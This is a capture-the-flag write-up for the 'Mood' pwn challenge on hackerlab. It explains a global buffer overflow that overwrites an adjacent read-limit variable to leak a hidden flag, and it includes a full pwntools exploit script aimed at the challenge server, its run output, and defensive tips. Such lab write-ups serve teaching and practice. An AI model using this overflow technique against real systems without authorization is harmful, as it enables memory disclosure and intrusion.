Настроение (Mood)
Настроение (Mood)
Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Buffer overflow to overwrite adjacent variable, Memory layout analysis, Read limit manipulation via count_c overwrite
Summary
Task: Menu-driven binary with buffer overflow where user buffer is smaller than read limit. Solution: Overflow buffer to overwrite adjacent count_c variable, then read extended memory to reveal the real flag hidden after the decoy.
Настроение (Mood) — hackerlab.pro
Description
Как улучшить настроение? Решить таск! :)
Server: 62.173.140.174:27000
Points: 300
Difficulty: easy
Binary Analysis
Basic Information
$ file mood
mood: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, not stripped
Memory Data Structure
Analysis of the binary in Ghidra/IDA reveals the following data structure:
| Address (offset) | Variable | Size | Description |
|---|---|---|---|
| 0x4020 | text | 0x458 (1112 bytes) | Text with fake flag |
| 0x4500 | text_usr | 0x3e8 (1000 bytes) | User buffer |
| 0x48e8 | count_c | 2 bytes | Character counter |
| |
Important: count_c is initialized with value 0x400 (1024).
Fake Flag
The text section contains a decoy flag: C0DEBY{0to_Ne_fl@g}
The real flag is located further in memory, beyond the first 1024 bytes.
Application Menu
1. Show my text - outputs count_c characters from text
2. Enter your text - reads count_c characters into text_usr
3. Show your text - outputs count_c characters from text_usr
4. Exit
Vulnerability
Buffer Overflow in enter_your_text
The enter_your_text function contains a classic buffer overflow:
c read-only • copy allowedvoid enter_your_text() { for (int i = 0; i < count_c; i++) { char c = getchar(); if (c == 0x01) break; // Ctrl+A to exit text_usr[i] = c; } }
Problem:
- The loop reads
count_ccharacters (1024) - The
text_usrbuffer is only 1000 bytes - The
count_cvariable is located right aftertext_usr(offset 1000)
Memory Layout
text_usr[0] @ 0x4500
text_usr[999] @ 0x48E7
count_c @ 0x48E8 <-- can be overwritten!
When writing 1001+ bytes, we overwrite count_c.
Exploitation
Strategy
- Select option 2 (Enter your text)
- Send 1000 bytes padding + new count_c value + Ctrl+A
- Select option 1 (Show my text)
- Now more characters are output, including the real flag
Exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * # Connect to server r = remote('62.173.140.174', 27000) # Wait for menu r.recvuntil(b'choice:') # Select option 2 - Enter your text r.sendline(b'2') r.recvuntil(b'text:') # Build payload: # - 1000 bytes padding (fill text_usr) # - 2 bytes for count_c = 0x0800 (2048) # - 0x01 (Ctrl+A) to exit the input loop payload = b'A' * 1000 + p16(0x0800) + b'\x01' + b'\n' r.send(payload) # Wait for menu r.recvuntil(b'choice:') # Select option 1 - Show my text r.sendline(b'1') # Receive extended output (now 2048 characters instead of 1024) data = r.recvall(timeout=5) # Print result print(data.decode('utf-8', errors='ignore'))
Execution
bash read-only • copy allowed$ python3 exploit.py [+] Opening connection to 62.173.140.174 on port 27000: Done [+] Receiving all data: Done ... C0DEBY{0to_Ne_fl@g} ... CODEBY{REDACTED} ...
Defense
To prevent such vulnerabilities:
- Bounds checking: Always verify that the index doesn't exceed array bounds
- Stack canaries: Use stack protection
- Data separation: Don't place control variables next to buffers
- Constant limits: Use
constfor buffer sizes
Alternative Approaches
Via GDB
bash read-only • copy allowed$ gdb ./mood (gdb) break *enter_your_text (gdb) run # Analyze text_usr and count_c addresses (gdb) x/x &text_usr (gdb) x/x &count_c
Via pwntools with Local Binary
python read-only • copy allowedfrom pwn import * elf = ELF('./mood') text_usr_addr = elf.symbols['text_usr'] count_c_addr = elf.symbols['count_c'] offset = count_c_addr - text_usr_addr print(f"Offset to count_c: {offset}") # 1000
References
- Buffer Overflow - OWASP
- pwntools documentation